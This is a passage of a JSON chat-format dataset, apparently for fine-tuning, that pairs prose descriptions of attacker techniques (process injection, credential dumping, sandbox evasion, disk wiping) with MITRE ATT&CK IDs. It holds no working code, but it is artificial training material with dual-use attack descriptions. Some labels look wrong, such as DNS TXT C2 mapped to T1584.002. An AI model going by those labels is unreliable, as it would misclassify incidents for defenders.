            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary modifies the Logon Scripts (Group Policy) to point to a malicious .cmd file on a network share."
            },
            {
                "role": "assistant",
                "content": "T1037.001 - Boot or Logon Initialization Scripts: Logon Script (Windows)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leveraged stolen credentials to initiate a Remote Desktop Protocol (RDP) session and remotely control the victim's workstation."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code checks for the presence of sandbox monitoring tools by searching for processes named \"vboxservice.exe\" or \"qemu-ga\"."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a kernel‑mode driver to perform Direct Kernel Object Manipulation (DKOM) and inject code into a user‑mode process's address space."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker reused an expired but still valid session cookie retrieved from a previous breach to gain access to a protected web resource."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers inject code into a legitimate process and use shared memory sections to communicate with their payload."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious document contains an <object> tag pointing to a data URL that carries a base64‑encoded executable, which is instantiated and run in the victim's browser."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages the APC mechanism by calling QueueUserAPC on a suspended thread, injecting its payload into a high‑privilege system process."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker queries the victim's operating system for a list of nearby Wi‑Fi networks and their SSIDs."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi-Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise the container image by injecting malicious scripts that execute during container initialization."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor leverages a tool to map the victim's network topology by collecting IP address information from DHCP logs."
            },
            {
                "role": "assistant",
                "content": "T1590.005 - Gather Victim Network Information: IP Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker queries the registry for the list of recently opened files stored in the MRU (Most Recently Used) entries."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is executed to overload the graphics driver, causing the endpoint to lock up and require a reboot."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employed a PowerShell script that calls the LsaExportSecret function to retrieve LSA secret entries such as cached logon data."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a malicious .chm file to execute arbitrary code by invoking mshta.exe, effectively proxying execution through a trusted system binary."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious email includes instructions for the victim to import a pre-defined Outlook rule that routes phishing emails to a hidden folder."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a credential dumping tool, the attacker obtains the RDP session cookie and hijacks the remote session."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leveraged PowerShell's Get-ChildItem cmdlet to discover hidden directories and files."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware utilizes a two-tier channel: initial beacon over Twitter API, followed by a SOCKS proxy tunnel for command execution."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor stages collected email attachments in a temporary directory before uploading them."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team activity includes editing the \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\AppInit_DLLs\" key to point to a backdoor DLL, enabling code execution on user logon."
            },
            {
                "role": "assistant",
                "content": "T1546.010 - Event Triggered Execution: AppInit DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary writes a malicious module descriptor into the target's PEB module list, making the OS believe the DLL is already loaded, thus executing the payload when functions are called."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised account stopped CloudWatch log streams, stopping real‑time monitoring of suspicious actions."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised enterprise VPN server is used to generate MFA challenges for privileged users, attempting to intercept the acceptance."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script scraped Okta's group endpoint to retrieve a full inventory of organization groups."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries query public property and land registry databases to pinpoint the location of the victim's primary data center."
            },
            {
                "role": "assistant",
                "content": "T1591.001 - Gather Victim Org Information: Determine Physical Locations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Windows command \"w32tm /query /status\" to retrieve the system's time configuration."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a custom script, the threat actor extracts the list of IP addresses assigned to devices on the target's internal network."
            },
            {
                "role": "assistant",
                "content": "T1590.005 - Gather Victim Network Information: IP Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware alters the group membership of an existing service account, adding it to the \"Domain Admins\" group."
            },
            {
                "role": "assistant",
                "content": "T1098 - Account Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary employs a fileless malware technique to reside solely in memory and avoid being detected by traditional signature-based security controls."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool disables the Sysmon service to hide its activity."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses DNS over HTTPS (DoH) to encrypt its C2 queries, blending with normal DoH traffic."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker enumerates Linux systemd units via 'systemctl list-units' to identify services."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor initiates a phone conversation, impersonating a senior manager, and asks for the recipient's Active Directory credentials."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers utilized the SMB protocol to access the \\\\machine\\IPC$ share, enumerate resources, and pivot to other systems."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a vulnerable web server to gain access to the private key of an existing code signing certificate and reuses it for malicious code."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the infiltration, the attacker uses DHCP spoofing combined with ARP poisoning to further entrench their man‑in‑the‑middle position."
            },
            {
                "role": "assistant",
                "content": "T1557.003 - Adversary-in-the-Middle: DHCP Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploited the default administrative shares to copy a malicious DLL onto the victim's system and loaded it via a service."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker opened a raw TCP socket to an external server on port 12345 and streamed data in clear text."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware seeds a DGA with the current timestamp to generate unique domain names for each beacon."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware incorporates a self-modifying loop that exits if a hardware breakpoint is detected."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a compromised CI/CD pipeline to pull source code from an organization's Maven repository."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sets up a compromised web server to forward malicious traffic, using it as a relay for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker reuses a known local user account to gain unauthorized access to a server."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious XSLT stylesheet is used to perform client-side script execution, leveraging the XSL Script Processing technique to enumerate system information."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During post‑exploitation, the adversary creates a low‑privilege hidden user with a UID of 9999 and disables its password, using it later to exfiltrate data while blending into system accounts."
            },
            {
                "role": "assistant",
                "content": "T1564.002 - Hide Artifacts: Hidden Users"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom Go binary is deployed that opens the raw block device and writes 0xFF across the entire media, effectively wiping it."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involved writing a custom EFI module to the system firmware, granting the attacker control before the OS loads."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware was delivered as \"invoice.docx.scr\" to trick users into thinking it was a Word document."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder utilizes a third‑party CDN enumeration service to retrieve domain aliases linked to the victim’s web applications."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses AppleScript on macOS to execute a command that installs a persistence launch agent."
            },
            {
                "role": "assistant",
                "content": "T1059.002 - Command and Scripting Interpreter: AppleScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor runs a batch file that calls 'net localgroup * /domain' to gather local group data."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a compromised service principal in Azure DevOps to pull the repository’s source code."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor utilizes a privilege escalation exploit to access Securityd memory and siphon off stored passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses RC4 with a hard‑coded key to encrypt its communication with the attacker’s server, establishing a symmetric encrypted channel."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the Office Trust Center settings to automatically load a malicious add‑in."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use the Windows utility Odbcconf.exe to register a malicious DLL as a driver, causing it to be executed with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injected commands to modify the system's code signing policy via PowerShell, adding a rogue certificate authority to the trusted list."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a custom script, the intruder sent automated search engine queries to gather information about open web resources of the victim."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker enumerates local user groups on compromised Windows machines using the `net localgroup` command."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker applies standard encoding to the data, converting it to a printable string."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries manipulate DNS TXT records to embed covert C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware obtains a service ticket's encrypted portion and modifies it to elevate privileges on a critical application server."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware parses /proc/[pid]/maps and /proc/[pid]/mem to dump authentication tokens from memory."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a zero-day exploit to gain initial access to a system"
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware authors use an invalid code signing certificate to make their ransomware appear as a legitimate update."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor reads registry keys under HKU\\S-1-5-21-...\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer to discover user environment settings."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistence mechanism adds a new plist to /Library/LaunchAgents, executing a Java JAR file on login."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor extracts Kerberos tickets from the memory of the Local Security Authority to obtain cached domain credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware's cleanup module runs a disk wiping utility that overwrites every byte with random data before self‑deletion."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware registers a new domain account via LDAP with high privileges to gain broader network access."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor sets up an unauthorized Active Directory domain controller to harvest NTLM credentials from client computers during authentication."
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is dropped into a remote process's TLS memory region and the thread’s instruction pointer is altered to point to it."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a misconfiguration to send large payloads to an application, exhausting its processing capacity and denying service."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A botnet composed of infected smart thermostats is used to generate traffic spikes that obscure the exfiltration of sensitive logs."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
